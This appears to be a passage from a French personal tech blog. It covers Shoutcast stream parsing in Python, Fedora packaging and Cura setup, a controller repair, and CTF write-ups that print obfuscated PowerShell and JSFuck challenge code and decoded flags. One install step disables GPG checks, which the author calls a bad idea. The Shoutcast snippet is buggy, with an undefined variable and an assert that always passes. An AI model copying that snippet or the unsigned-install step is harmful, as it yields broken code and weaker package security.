Votre ordinateur est donc très souvent livré avec un système d’exploitation pour des raisons pratiques. Mais un système d’exploitation n’est qu’un logiciel, du code, une sorte de super application, il n’a pas d’existence matériel. Cette super application est lancée au démarrage de votre ordinateur. Elle est constituée d’un ensemble de fichiers stockés sur votre disque dur, au même titre que le dernier tube de Rihanna ou cette formidable grimace que vous avez faite à votre webcam. Pour changer de système d’exploitation, il suffit d’en réécrire un nouveau sur votre disque.

Avant de voir pourquoi en changer, essayons de comprendre à quoi il sert. Le matériel informatique est très bête : votre processeur ne sait qu’exécuter une liste d’instructions, votre disque dur stocker des 0 et des 1 et votre écran afficher des pixels. D’ailleurs, en fonction du disque dur ou de l’écran, le fonctionnement sera différent. Un développeur voulant écrire une application sans système d’exploitation se heurtera donc à un problème de généricité : il devra réécrire son code à chaque fois qu’une pièce change.

Maintenant, soyons fou et demandons l’impossible, exécutons deux applications en même temps : nouveau problème, il va falloir partager les ressources. Où je vais écrire mes fichiers sur le disque dur pour que l’autre application ne les écrase pas, est-ce que je peux utiliser cette partie de l’écran, etc. On résout ce problème en déléguant ces décisions au système d’exploitation.

Contrôle :

Pour résumé, le système d’exploitation est un super logiciel stocké sur le disque dur de l’ordinateur. C’est le premier lancé au démarrage. Il va se placer entre le matériel, dont il va prendre le contrôle, et les applications, à qui il va partager ce matériel, contrôler leur usage et fournir une boite à outils pour le manipuler aisément.

Disséquer le protocole Shoutcast

Tue, 06 Aug 2019 00:00:00 +0200

Shoutcast est un protocole de diffusion pour webradio créé par Nullsoft, l’éditeur de Winamp entre autre. Il repose sur des technologies bien établies car au final il s’agit principalement de diffuser un fichier en MP3 en continu à travers le protocole HTTP. Il est donc possible d’écouter simplement une radio diffusé via Shoutcast en copiant son lien dans le navigateur. Nous allons prendre pour exemple ce flux :

http://streaming.radionti.com:80/nti-320.mp3

Alors qu’apporte Shoutcast de plus ? Tout d’abord il standardise des en-têtes HTTP, ce qui est bien pratique car l’on peut écrire un lecteur qui fonctionnera avec plein de flux. Mais regardons de plus prêt ces en-têtes :

$ curl -vvv http://streaming.radionti.com:80/nti-320.mp3
*   Trying 51.15.166.151...
* TCP_NODELAY set
* Connected to streaming.radionti.com (51.15.166.151) port 80 (#0)
> GET /nti-320.mp3 HTTP/1.1
> Host: streaming.radionti.com
> User-Agent: curl/7.64.0
> Accept: */*
> 
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Server: Icecast 2.4.2
< Date: Tue, 19 Dec 2017 21:45:23 GMT
< Content-Type: audio/mpeg
< Cache-Control: no-cache
< Expires: Mon, 26 Jul 1997 05:00:00 GMT
< Pragma: no-cache
< Access-Control-Allow-Origin: *
< icy-br:320
< icy-description:NTI - LA NOUVELLE TENDANCE (FRANCE)
< icy-genre:DANCE & EDM
< icy-name:NTI - LA NOUVELLE TENDANCE (FRANCE)
< icy-pub:0
< icy-url:http://www.radionti.com

On reconnait facilement les en-têtes définies par le protocole Shoutcast car elles sont préfixées par icy-. On peut retrouver des informations sur la radio, mais pas le titre de la musique qui est en train d’être joué. Et pour comprendre pourquoi, il faut se plonger un peu dans HTTP.

Le streaming HTTP

On commence rarement par aborder HTTP à travers le streaming. Généralement, on fait une requête HTTP, on attend de recevoir la réponse dans sa totalité, si possible dans une magnifique chaine de caractère, on ferme la connexion HTTP et seulement ensuite on traite l’information.

Oui, mais là on veut diffuser de la musique en continu ! Alors on pourrait envoyer des morceaux de musique de quelques secondes par requete et répéter le processus suivant en boucle. Mais ouvrir et fermer plein de connexion est couteux, peu optimisé et introduirait un décalage peu utile.

Nous allons donc utiliser une seule connexion qui ne se fermera jamais, qui va nous envoyer de la donnée en continue, au fur et à mesure qu’elle arrive. Ce qui veut également dire que l’on devra gérer en même temps la connexion et le player audio, faire un petit peu de chaque.

Mais vu que l’on ouvre la connexion qu’une seule fois, les en-têtes ne seront envoyées qu’une seule fois ! Et une fois que l’on a commencé à transférer des données, impossible d’envoyer de nouvelles en-têtes !

Alors comment fait-on ? Dans les données que le serveur Shoutcast va envoyer, se trouvera un mélange de flux audio et de méta donnée. Ce sera alors au client de séparer les deux et de rédiger le flux audio vers le lecteur audio et les méta données vers l’interface utilisateur.

Icy Metadata

Par défaut et pour des raisons de compatibilité, seul le flux audio est envoyé. Pour obtenir les méta données en plus, il est nécessaire de le demander explicitement au moment où l’on réalise la requête. En échange, le serveur va nous fournir une nouvelle en-tête icy-metaint qui nous informera à quelle fréquence les méta données seront envoyées. Plus exactement, tous les combiens d’octets de musique envoyés se trouveront ces méta données.

Une fois arrivée aux métadonnées, on commence par lire un octet. En le multipliant par 16, on peut en déduire la taille totale des métadonnées à lire. Une fois ces méta données lues, on recommence à compter icy-metaint octets, etc.

Tout ça peut paraitre très abstrait, pourtant avec quelques lignes de python et des streams on peut s’en sortir sans trop de mal !

Python, Streams et découpage de webradios

Nous allons commencer avec ce squelette qui nous est un peu imposé par asyncio:

import asyncio

async def icy():
  pass

asyncio.run(icy())

Nous n’utiliserons pas de bibliothèque HTTP mais une simple connexion TCP pour bien comprendre comment ça se passe dans les niveaux en dessous. Nous utiliserons également les objets Streams de Python qui semblent appropriés pour résoudre notre problème.

Nous allons commencer par nous connecter au serveur et lui demander le stream qui nous intéresse :

async def icy():
  reader, writer = await asyncio.open_connection('streaming.radionti.com', 80)

  writer.write(b"""GET /nti-320.mp3 HTTP/1.0
Host: streaming.radionti.com
User-Agent: Icy-Test
Accept: */*
Icy-Metadata: 1

""")

On commence par ouvrire une connexion TCP vers l’URL et le port du serveur. Ensuite, on utilise l’objet writer pour envoyer notre requête HTTP. Pour rappel, HTTP est un protocole texte. La première ligne permet d’indiquer le verbe HTTP, la page ainsi que la version du protocole. Les lignes suivantes sont des en-tête au format clé valeur, une par ligne, séparées par deux points.

Nous avons justement fait attention à préciser l’entête Icy-Metadata: 1 pour demander un flux audio mélangé avec des métadonnées (sinon, nous n’aurions eu que le flux audio sans les métadonnées !).

La ligne vide indique la fin de l’envoie des en-têtes. Puisque nous envoyons une requête GET, nous n’avons pas de données à envoyer. Le serveur sait alors qu’il peut commencer à générer la réponse.

Nous allons donc pouvoir nous préparer à analyser la réponse que le serveur va nous faire. Mais permettons-nous d’écrire une petite fonction utilitaire pour extraire les en-têtes renvoyées par le serveur :

async def readHeaders(reader):
  status_code = await reader.readline()
  assert (status_code, b'HTTP/1.0 200 OK\r\n')

  headers = {}
  while True:
    data = await reader.readline()
    if data == b'\r\n':
      print("End of metadata part, all key/value headers have been read")
      return headers
    header_name, header_value = data.split(b':', 1)
    headers[header_name] = header_value 

Tout d’abord, la première ligne est un peu particulière. On vérifie que le protocole correspond, que le code de status est bien 200 (qui veut dire OK, tout s’est bien passé). Ensuite, nous récuperons les en-têtes envoyées par le serveur sous le même format que celles que nous avons envoyées ! Une ligne vide indique également la fin des en-têtes, et dans notre cas le début du contenu que nous avons demandé !

Armés de cette fonction, complétons notre fonction icy pour les récupérer, et surtout récupérer l’en-tête qui nous intéresse, icy-metaint qui nous indiquera comment découper notre flux !

async def icy():
  # ...
 
  headers = await readHeaders(reader)
  metaint = int(headers[b'icy-metaint'])

Nous avons donc stocké dans la variable metaint le nombre d’octets d’audio à lire dans le flux envoyé par notre serveur Shoutcast.

Maintenant que nous avons toutes les informations dont nous avons besoin, récupérons ce flux et découpons le !

async def icy():
  # ...
 
  while True:
    audio = await reader.readexactly(metaint)
    metadata_size_raw = await reader.readexactly(1)
    metadata_size_bytes = \
      16 * int.from_bytes(metadata_size_raw, "big")
    metadata_content = \
      await reader.readexactly(metadata_size)
    if metadata_size > 0: 
      print(metadata_content)

Nous y voilà ! On récupère exactement le nombre de bytes indiqués par l’en-tête. Puis nous lisons un octet, qui va nous permettre de calculer la taille des métadonnées, nous allons lire exactement ce nombre d’octets. Les méta données sont du simple texte, donc on les affiche. Ici, on ne fait rien avec l’audio, mais il faudrait écrire le contenu de audio dans notre lecteur. Ce dernier fournirait probablement un Stream dans lequel on pourrait écrire le contenu de la variable. Il suffit ensuite de répéter cette action en boucle.

Attention ! Les métadonnées seront la plupart du temps vides. En effet, pas besoin de renvoyer le titre de la chanson quand il n’a pas changé. Donc il sera envoyé uniquement au lancement du stream puis à chaque changement de chanson. Le reste du temps, les métadonnées indiqueront que leur taille est de zéro.

Et voilà la sortie de notre application :

$ python3 /tmp/icy.py 
End of metadata part, all key/value headers have been read
b"StreamTitle='SOPHIE ELLIS BEXTOR - MURDER ON THE DANCEFLOOR - 2002';\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"StreamTitle='QUINTINO - CAN'T BRING ME DOWN - 2019';\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"StreamTitle='DIRTY VEGAS - WHY DID YOU DO IT 2K19';\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"StreamTitle='FMZ - GET DOWN TO THIS - 2010';\x00\x00\x00\x00"
b"StreamTitle='MOSIMANN + MARUV - MON AMOUR - 2019';\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"StreamTitle='DUA LIPA - SWAN SONG (REMIX) 2019';\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"StreamTitle='MILK & SUGAR - LOVE IS IN THE AIR 2K19';\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"StreamTitle='PAPA ZEUS - ABOUT YOU - 2019';\x00\x00\x00\x00\x00"
b"StreamTitle='DON DIABLO - BRAVE - 2019';\x00\x00\x00\x00\x00\x00\x00\x00"
b"StreamTitle='MARTIN GARRIX - SUMMER DAYS - 2019';\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
b"StreamTitle='DEORRO - FIVE HOURS - 2014';\x00\x00\x00\x00\x00\x00\x00"
b"StreamTitle='INTERNATIONAL DRINKING PARTY - DESOLEE - 2017';\x00\x00\x00\x00"

Le code complet de l’exemple se trouve dans ce fichier icy.py.

Utiliser une Alfawise U30 depuis Fedora

Fri, 31 May 2019 00:00:00 +0200

L’Alfawise U30 n’a été intégrée que récemment dans Cura et n’est disponible que depuis le dépôt. Qui plus est, la dernière version majeur de Cura, la version 4, est encore en beta et n’est pas non plus disponible dans Fedora stable.

Nous allons donc installer Cura 4 beta depuis Fedora Rawhide (unstable) puis télécharger les fichiers de définition de l’Alfawise U30 depuis le dépôt officiel. Une fois le code actuel du dépot publié dans une version stable, ce guide sera inutile.

Installer Cura 4

Nous allons tout d’abord commencer par installer un paquet qui permet d’activer les dépôts instables (mais seulement sur demande) :

sudo dnf install fedora-repos-rawhide

Ensuite installons Cura depuis les dépôts instables.

sudo dnf install --nogpg --enablerepo=rawhide cura

Il semble y avoir un bug avec les clés PGP qui ne sont pas correctement installés pour le dépôt instable, j’ai donc désactivé la vérification juste pour cette commande. Cela reste une très mauvaise idée et corriger durablement ce bug en important les clés PGP serait une meilleur solution.

Installer les définitions de l’Alfawise U30

Les configurations pour les imprimantes 3D sont contenues dans des fichiers JSON. Nous allons donc les télécharger au bon endroit, tout simplement :

cd /usr/share/cura/resources/definitions/
sudo wget https://raw.githubusercontent.com/Ultimaker/Cura/137619567a1d68139444f0fea76a022d63d86a0b/resources/definitions/alfawise_u30.def.json
cd /usr/share/cura/resources/extruders
sudo wget https://raw.githubusercontent.com/Ultimaker/Cura/057c30f86e86635721e8a269d864e1597699c834/resources/extruders/alfawise_u30_extruder_0.def.json

Et voilà, ce devrait être bon, bonne impression !

Réparation d'une manette Xbox One

Sun, 10 Feb 2019 00:00:00 +0100

Depuis maintenant plusieurs mois, j’ai perdu la gachette gauche de ma manette Xbox One, ma seule manette de jeu. Ce qui est plutôt embêtant, car elle me rend de fiers services quand je joue à Trackmania et plus récemment à Firewatch. Et pas de chance, bien que la peur n’évite pas le danger, le frein sur la gachette gauche évite les murs sur Trackmania.

Pas mieux du côté de Firewatch, car il s’agit du talkie walkie, un élément central du jeu. Sans grand espoir, je me suis donc lancé dans la réparation de cette manette, qui n’en est pas à sa première défaillance. En effet, j’ai dû jeter le cable micro-usb à usb fourni avec car il ne fonctionnait plus.

Dissection de la manette

iFixit, comme toujours, propose un guide très pratique pour démonter la manette, que j’ai suivi scrupuleusement.

En démontant la manette, je me suis rendu compte qu’il manquait une vis à un endroit. Simple oubli ou début de réponse ?

Une fois le démontage fini, je me retrouve avec les différents circuits de ma manette.

En regardant un peu mieux, je me rends compte qu’une vis est aimantée sur la gachette. En effet, le bout de la gachette possède un aimant relativement puissant. Même en agitant la manette dans tous les sens, la vis ne risquait pas de se désaimanter. Vis qui provient probablement de notre emplacement vide précédent…

Une fois enlevée, un rapide test permet de vérifier que ma gachette gauche fonctionne de nouveau

Conclusion

En remontant les vis, je me suis rendu compte qu’une des vis tournait plus ou moins dans le vide. Je pense que le taraudage d’une pièce doit être cassé. La vis avait l’air de bien tenir pour l’instant, je l’ai donc laissée. Mais si elle venait à se promener de nouveau, un peu de colle pourrait résoudre le problème. Ou simplement l’enlever… Bref, une réparation plus simple que prévue, c’est suffisament rare pour être signalé ! Essayez de réparer vos objets, parfois ça vaut le coup !

Write-Up Wargame Nuit du Hack 16

Sun, 01 Jul 2018 00:00:00 +0200

La seizième édition de la Nuit du Hack s’est tenue ce week-end à la cité des sciences à Paris. Au programme conférences, ateliers et capture de drapeaux. D’ailleurs la capture de drapeau s’appelle wargame, alors que le wargame s’appelle CTF privé. C’est toujours bon à savoir…

Notre nouvelle équipe éphémère de choc (sans logo cette fois-ci) se nommait Blockchain Cyber Digital. Voici le compte-rendu de quelques challenges sur lesquels j’ai travaillés avec les autres membres de l’équipe - merci pour leur aide !

César

César n’était pas un challenge proposé par la nuit du hack mais par l’entreprise I-Tracing présente sur l’évènement. Les challenges étaient disponibles à l’adresse suivante : cyberpunk2048.i-tracing.com.

On récupérait un fichier texte nommé communication_vBZvcbm.txt qu’il fallait décoder.

Le nom du challenge nous indiquait que c’était un chiffrement de César qu’il fallait décoder. Il reste deux inconnues : le décalage et le nombre de symboles.

En général, on a 26 symboles, les 26 lettres de l’alphabet, pas d’accent, la casse (majuscules et minuscules) n’est pas prise en compte. Donc pour un décalage de 5, si on a un Y au départ, on obtient un D (Z, A, B, C, D). Ici, on n’a pas que des caractères de l’alphabet au départ, donc ça se complique.

Nous avons commencé par supposer un chiffrement de césar sur un octet (donc 256 possibilités). Cela nous donnait quelque chose d’à moitié cohérent. Après avoir longuement admiré une table ASCII, nous nous sommes rappelés que les caractès étaient encodés sur 7 bits et non 8 (donc 128 possibilités), ce qui nous donnait quelque chose de beaucoup plus cohérent. Nous aurions pu également regarder la répartition des octets de départ et observer qu’ils étaient tous compris entre 0 et 127.

Il nous restait alors à trouver le décalage. Pour ça nous avons tenté toutes les possibilités. Dans notre cas, il s’agissait d’un décalage de 75.

On avait donc :

decode = (encode + 75) % 128

Et voici un script python 3 simple pour réaliser toutes les étapes (appuyez sur entrée pour essayer une nouvelle valeur de n) :

with open('communication_vBZvcbm.txt', 'rb') as f:
    all_bytes = f.readlines()
    all_bytes = all_bytes[0] + all_bytes[1]
    for n in range(1,128):
      print("\033c")
      print("==== try number " + str(n) + " ==== \n\n")
      dec = [0] * len(all_bytes)
      for i in range(len(all_bytes)):
        dec[i] = (all_bytes[i] + n) % 128
      print(''.join([chr(x) for x in dec]))
      input()

NB: si vous obtenez un TypeError: cannot concatenate 'str' and 'int' objects c’est que vous venez d’exécuter le script avec python 2 au lieu de python 3. Voir le script en python 2.

Le message une fois déchiffré était le suivant :

Bonjour, Je suis Anna Gonsalves, membre d’APORIA (Alliance de PrOtection contRe les Intelligences Artificielles). Vous ne connaissez probablement pas cette organisation et cela est normal … elle n’a ete cree qu’en 2048. Si vous ne participez pas a ce challenge, voila ce qu’il va se passer ! Les intelligences artificielles ont pris le controle du monde et ont decide d’exterminer l’humanite. Tout a commence en 2020, avec l’arrive d’une toute nouvelle facon de concevoir les intelligences artificielles. Pour que ces dernieres comprennent notre monde, des gigantesques fichiers ont servi de base a ces dernieres pour leur apprendre l’histoire de la planete. Son objectif : sauver l’environnement. Pour chaque donnee historique, il y avait des indicateurs associes indiquant les impacts sur la nature, la biodiversite. Apres des annees et des annees d’apprentissage, celle-ci trouva un moyen pour le moins radical de resoudre ces problemes : exterminer l’humanite pour mieux se concentrer sur la reparation de l’environnement. Et nous devons bien admettre qu’elle n’est pas loin d’avoir rempli tous ses objectifs.

Enfin bref, nous n’avons pas pu trouver Sarah Connor donc on va dire que vous ferez l’affaire, quiconque que vous soyez. Je vous expliquerai plus tard la suite de notre histoire. Voici le code pour continuer votre mission : S05_Fu7Ur_Ap0RiA Bonne chance !

Le drapeau était donc : S05_Fu7Ur_Ap0RiA.

Ghost in the PowerShell

Ce challenge consiste à retouver le drapeau dans un code écrit dans un langage de script, ici Powershell mais souvent Python ou Javascript et qui a été obscurci, c’est à dire rendu difficilement compréhensible pour un être humain.

Le fichier fourni se nommait ghostinthepowershell.ps1 et commence comme ça :

<#████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████#>
${DONTREv`ERs`E`ME1}=($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ewAxADEAfQB7ADEAMgB9AHsANgB9AHsAOQB9AHsAMQAwAH0AewA4AH0AewAwAH0AewAyAH0AewA0AH0AewA3AH0AewA1AH0AewAzAH0AewAxAH0A'))
<#████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████#>
) -f($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ewAwAH0AewAxAH0A')))-f $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LwB3AGEA'))),'tc'),($([Text.Encoding]::
<#████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████#>
Unicode.GetString([Convert]::FromBase64String('ewAwAH0AewAxAH0A')))-f 'gX','cQ'),'h','9W',($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ewAwAH0AewAxAH0A'))) -f '?v','=d'),'4w',

Sa structure n’est pas très claire aux premiers abords. On commence par enlever ces lignes blanches qui sont en réalité des commentaires. On se retrouve avec beaucoup de texte encodé en base64 au début, puis beaucoup de chaines de caractères formattées du type "{2}{0}{1}" -f 'b', 'VARi', 'a' - ce qui renvoie la chaine de caractère suivante VARiab, pour probablement former variable plus tard.

En réalité, la structure gloable du code ressemble à ça :

${DONTREv`ERs`E`ME1}=( <# beaucoup de code #> );

do {
  ${01100101010000101} = Read-Host
  if (${01100101010000101} -nomatch ${z3}) {
    Write-Host ${z4}
    ${input} = ${z5}
  } else {
    ${input} = "ok"
    Write-Host ${z6}
  }
} while (${input} -ne "ok")

On peut être tenté d’afficher le contenu de la variable DontReverseMe1, mais à part une vidéo de Rick Astley vous ne serez pas bien plus avancé.

En réalité c’est la fin du code qui nous intéresse. On se rend compte que l’entrée utilisateur est comparée à la variable z3. Cette variable est définie lors du calcul de la variable DontReverseMe1 mais son résultat n’est pas stockée dedans.

Il ne nous reste plus qu’à afficher z3 ! Le meilleur moyen est d’ajouter la ligne suivante juste avant le do {} while (), la boucle qui vous demande le mot de passe en boucle.

Write-Host ${z3}

Le drapeau était : ObFU5C4t3D-fl4G-i5-0BfU5c4T3d.

Orelsan

On commence par télécharger l’image suivante :

Puis on l’examine avec zsteg, un outil bien pratique :

gem install zsteg
zsteg ndh16-oreilles-sales.png

zsteg nous informe que des données ont été ajoutées à la fin de l’image :

[?] 215426 bytes of extra data after image end (IEND), offset = 0x2e563
extradata:0         .. file: PNG image data, 680 x 510, 8-bit/color RGBA, non-interlaced
...

On extrait ces données :

zsteg -E extradata:0 ndh16-oreilles-sales.png > basiq.png

Cette fois-ci zsteg ne nous donne rien d’intéressant. Pas d’information cachée non plus en changeant la luminosité ou le contrate de l’image. Il reste encore un point à étudier, les méta-données de l’image, et particulièrement ses données EXIF.

Pour ça :

sudo dnf install /usr/bin/exiftool
exiftool basiq.png

Une ligne, qui n’a pas retenue mon attention au début, était cependant la clé du challenge :

Special Instructions            : 4D4A57564533324E4B524E474D5A4A544F5256553436544850424844455354494A555A4653364B5A474A4D5445544B584C453255344D5356474E475855514C5A4A555A4555334B5049524354435753584A4A5755365632474E5247573252544B4A56564655323232495247584F574C4E4A553245325243534E42484732534A524A5A4346534D433249354C47595453454E4D32453656324F4E4A4E4649554C324A564C565336434F4E4A4558515753584B4532553652434B4E564E4549554C594C4A57554B4E434E495241584F54544E4A553245365632534E4A4D5855524A544C4A4B464B36535A4B5249584F5432454C4A554655334B4B4E4A4D564F534C324C455A455532535049354954475454324A555A553256434B4E524846495A5A534A555A54434F493D

C’est de l’hexadécimal. On récupère le tout dans python sous la forme d’un buffer :

exif_data = "4D4A57564533324E4B524E474D5A4A544F5256553436544850424844455354494A555A4653364B5A474A4D5445544B584C453255344D5356474E475855514C5A4A555A4555334B5049524354435753584A4A5755365632474E5247573252544B4A56564655323232495247584F574C4E4A553245325243534E42484732534A524A5A4346534D433249354C47595453454E4D32453656324F4E4A4E4649554C324A564C565336434F4E4A4558515753584B4532553652434B4E564E4549554C594C4A57554B4E434E495241584F54544E4A553245365632534E4A4D5855524A544C4A4B464B36535A4B5249584F5432454C4A554655334B4B4E4A4D564F534C324C455A455532535049354954475454324A555A553256434B4E524846495A5A534A555A54434F493D"

d1 = bytearray.fromhex(exif_data)
print(d1)
# Ce qui affiche : MJWVE32NKRNGMZJTORVU46THPBHDESTIJUZFS6KZGJMTETKXLE2U4MSVGNGXUQLZJUZEU3KPIRCTCWSXJJWU6V2GNRGW2RTKJVVFU222IRGXOWLNJU2E2RCSNBHG2SJRJZCFSMC2I5LGYTSENM2E6V2ONJNFIUL2JVLVS6CONJEXQWSXKE2U6RCKNVNEIULYLJWUKNCNIRAXOTTNJU2E6V2SNJMXURJTLJKFK6SZKRIXOT2ELJUFU3KKNJMVOSL2LEZEU2SPI5ITGTT2JUZU2VCKNRHFIZZSJUZTCOI=

J’essaye de décoder l’ASCII du buffer comme de la base64 mais rien. Un peu d’aide exterieure (merci !) me suggère d’essayer la base32 dont je n’avais jamais entendu parler.

import base64

d2 = base64.b32decode(d1)
print(d2)
# Ce qui affiche : bmRoMTZfe3tkNzgxN2JhM2YyY2Y2MWY5N2U3MzAyM2JmODE1ZWJmOWFlMmFjMjZkZDMwYmM4MDRhNmI1NDY0ZGVlNDk4OWNjZTQzMWYxNjIxZWQ5ODJmZDQxZmE4MDAwNmM4OWRjYzE3ZTUzYTQwODZhZmJjYWIzY2JjOGQ3NzM3MTJlNTg2M319

On avance, cette fois-ci ça ressemble à de la base64 :

d3 = base64.b64decode(d2)
print(d3)
# Ce qui affiche : ndh16_{{d7817ba3f2cf61f97e73023bf815ebf9ae2ac26dd30bc804a6b5464dee4989cce431f1621ed982fd41fa80006c89dcc17e53a4086afbcab3cbc8d773712e5863}}

Télécharger le script au complet

Le drapeau était donc :

ndh16_{{d7817ba3f2cf61f97e73023bf815ebf9ae2ac26dd30bc804a6b5464dee4989cce431f1621ed982fd41fa80006c89dcc17e53a4086afbcab3cbc8d773712e5863}}`

Et c’est tout pour cette édition !

Publish on Copr

Sun, 20 May 2018 00:00:00 +0200

Disclaimer: I’m not a linux packaging expert, some parts could be considered as bad practises. Moreover, there are billions different ways of building packages. I am proposing only one in this article.

Setup

First of all, we will need some tools to build packages:

sudo dnf install git rpmdevtools rpm-build

RPM is a bit special, as it needs its own folder hierarchy (stored by default in ~/rpmbuild) and can’t build without this hierarchy. It’s a bit annoying when you manage your packages in different repositories. We will see one way to get around this problem.

First, create a git repository for your RPMs:

mkdir my-rpms && cd my-rpms
git init

We will create one folder for each RPM and initialize with the essence of a RPM: a spec file. For now, let’s start with only one, chez-scheme which is a real example:

mkdir chez-scheme && cd chez-scheme
rpmdev-newspec --macros chez-scheme.spec

You should have generated the following file:

Name:           chez-scheme
Version:        
Release:        1%{?dist}
Summary:        

License:        
URL:            
Source0:        

BuildRequires:  
Requires:       

%description


%prep
%autosetup

%build
%configure
%make_build


%install
rm -rf %{buildroot}
%make_install


%files
%license add-license-file-here
%doc add-docs-here

%changelog
* Sun May 20 2018 Quentin Dufour <quentin@dufour.io>
- 

So, now we must fill this file. You can use the Fedora Packaging Guidelines guide to find help for the different macro (lines starting with a percent). You can also take some inspiration from existing .spec files like meshlab.spec or chez-scheme.spec.

Sources and patches

We will consider the case where a source tarball is provided, but you need to patch it. You can easily retrieve a tarball from any github or gitlab project, for a given release, like:

Source0: https://github.com/cisco/ChezScheme/archive/v%{version}.tar.gz

By templating the link, it will be easier to upgrade the package.

To create the patches, you have different options. You can either clone the repository, do the modification in a specific branch or commit, then generate a patch:

git checkout -b v9.5-patches
git commit -m "A first patch"
git commit -m "A second patch"
git format-patch v9.5

Another way is to download and extract the tarball, create a copy and use diff:

tar xf v9.5.tar.gz
cp -r v9.5 v9.5-src
# modify v9.5
diff -Naur v9.5-src v9.5 > some-modification.patch

We will put these patches in our git repository, next to our .spec file:

rpm
└── chez-scheme
    ├── chez-scheme.spec
    ├── chez-scheme-symlink.patch
    └── chez-scheme-xlocale.patch

Applying patches and extracting tarball can lead to some problems.

First, patches can have different “roots”. We will use patch -p0 to apply git patches as they don’t include the main folder and patch -p1 for diff patches as they include the main folder. If you use the autosetup macro in your .spec file, you will put (for diff patches):

%autosetup -p1

Second, once downloaded, your tarball doesn’t necessarily extract in a folder of the name <package>-<version>. If it’s not the case, you must precise it too:

%autosetup -p1 -n ChezScheme-%{version}

Now, if we want to build the RPM, we will have to type the following commands:

spectool -g -R ./chez-scheme.spec  # Download sources
cp *.patch ~/rpmbuild/SOURCES      # Copy patches
rpmbuild -ba ./chez-scheme.spec    # Build RPM

There are some tools like rpkg, fedpkg or tito that can do most of the steps for you. Unfortunately, they are not very flexible. rpkg and fedpkg never download the source directly, but from a mirror, and fails with a 404 as they don’t find the file. If I want to push my source to this mirror, it fails with an unauthorized error. These packages seem to be aimed at distribution maintainers. tito, for its part, doesn’t handle correctly patches and sources. It consider that everything should be embedded in a single git repository.

So, we will need an home made solution.

make srpm

Fortunately, copr propose different solutions. One is to build your .srpm locally and send it to copr, but we can even avoid this step and only give a git repository to copr: we will build our own builder with a Makefile.

Copr will call a Makefile located in <git_root>/.copr from the folder of our package (<git_root>/chez-scheme) and call:

make -f <git_root>/.copr/Makefile srpm outdir="<outdir>" spec="<spec_path>"

Copr proposes a simple Makefile in its documentation. I’m proposing a bit more complex one that use only rpmbuild:

rpmbuild_src = $(shell rpmbuild --eval '%{_sourcedir}')
.PHONY: prepare srpm rpm

prepare:
	dnf -y install rpmdevtools rpm-build
	cp *.patch $(rpmbuild_src)
	spectool -g -R $(spec)

srpm: prepare
	rpmbuild -bs --define "_srcrpmdir $(outdir)" $(spec)

rpm: prepare
	rpmbuild -bb --define "_rpmdir $(outdir)" $(spec)

The rpm target will not be used by Copr but it can be convenient to locally test your package build before sending it to Copr.

Your folder structure should now look like this:

rpm
├── chez-scheme
│   ├── chez-scheme.spec
│   ├── chez-scheme-symlink.patch
│   └── chez-scheme-xlocale.patch
└─── .copr
    └── Makefile

You really have to put the Makefile here, otherwise copr will not find it.

Use Copr

Now you just need to commit + push your repository and use the Copr web interface to create a new project, add a package and trigger a build !

After that, your users can just enable the copr repository on their system and install your package:

sudo dnf copr enable superboum/chez-scheme 
sudo dnf install chez-scheme

You can configure some webhooks to rebuild your packages for each git commit. And that’s all!

Sources

Write-Up BreizhCTF 2018

Sun, 22 Apr 2018 00:00:00 +0200

Le BreizhCTF est une compétition autour de la sécurité, qui a lieu à Rennes tous les ans, où des équipes de 5 personnes se retrouvent face à un code obscurci, des binaires à reverse, des injections diverses et variées… tout ça pour trouver des flags et marquer un maximum de points.

L’édition 2018 s’est tenue durant la nuit du 20 au 21 avril dans le hall de l’université de Rennes 1. Vous pouvez trouver la vidéo de l’évènement sur Vimeo. L’évènement s’est bien terminé pour notre équipe puisque nous avons fini 7^e (équipe ~).

C’est donc l’occasion pour ma part de faire un compte-rendu des challenges sur lesquels j’ai travaillés.

Mais avant de commencer, les autres write-ups de notre équipe sont disponibles ici :

Trace Me, BabyAPK, Cryptonik et Desprecitor par Tristan
Diskcrypt, Use the luck force, Chinoiseries, Diffie-Failman - strike back par Loïck

Baby JS

Pour ce challenge, on récupérait un texte inconnu et un fichier javascript baby.js qui avait l’air bien obscurci. En écrivant ce write-up, je me rends compte qu’il n’a pas été obscurci à la main mais à l’aide de l’outil JSFuck (merci Tristan).

Voilà à quoi ressemble du code après passage dans JSFuck :

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])...

Le détail de l’implémentation se trouve sur le README du projet github de JSFuck. Pensant que ce JS a été obscurci spécialement pour l’évènement, je me suis mis en quête d’un moyen de le désobscurcir à la main.

Sans pour autant complètement comprendre pourquoi, il apparait que :

En enlevant la première déclaration de tableau ([])
En enlevant l’appel à la fonction tout à la fin de la ligne (())
En stockant ce qui reste dans une variable (let a = )

Ce qui ressemble à ça :

let a = [(![]+[])[+[]]+...
console.log(a[0])

On obtient alors la fonction suivante :

function breizHash(string, method)  {
  if (!('ENCRYPT' == method || 'DECRYPT' == method)) {
    method = 'ENCRYPT';
  }

  if ('ENCRYPT' == method)    {
    var output = '';
    for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) {
      charCode = string.charCodeAt(x);
      if (128 > charCode) {
        charCode += 128;
      } else if (127 < charCode) {
        charCode -= 128;
      }
      charCode = 255 - charCode;
      hexCode = charCode.toString(16);
      if (2 > hexCode.length) {
        hexCode = '0' + hexCode;
      }
      output += hexCode;
    }
    return output;
  }
}

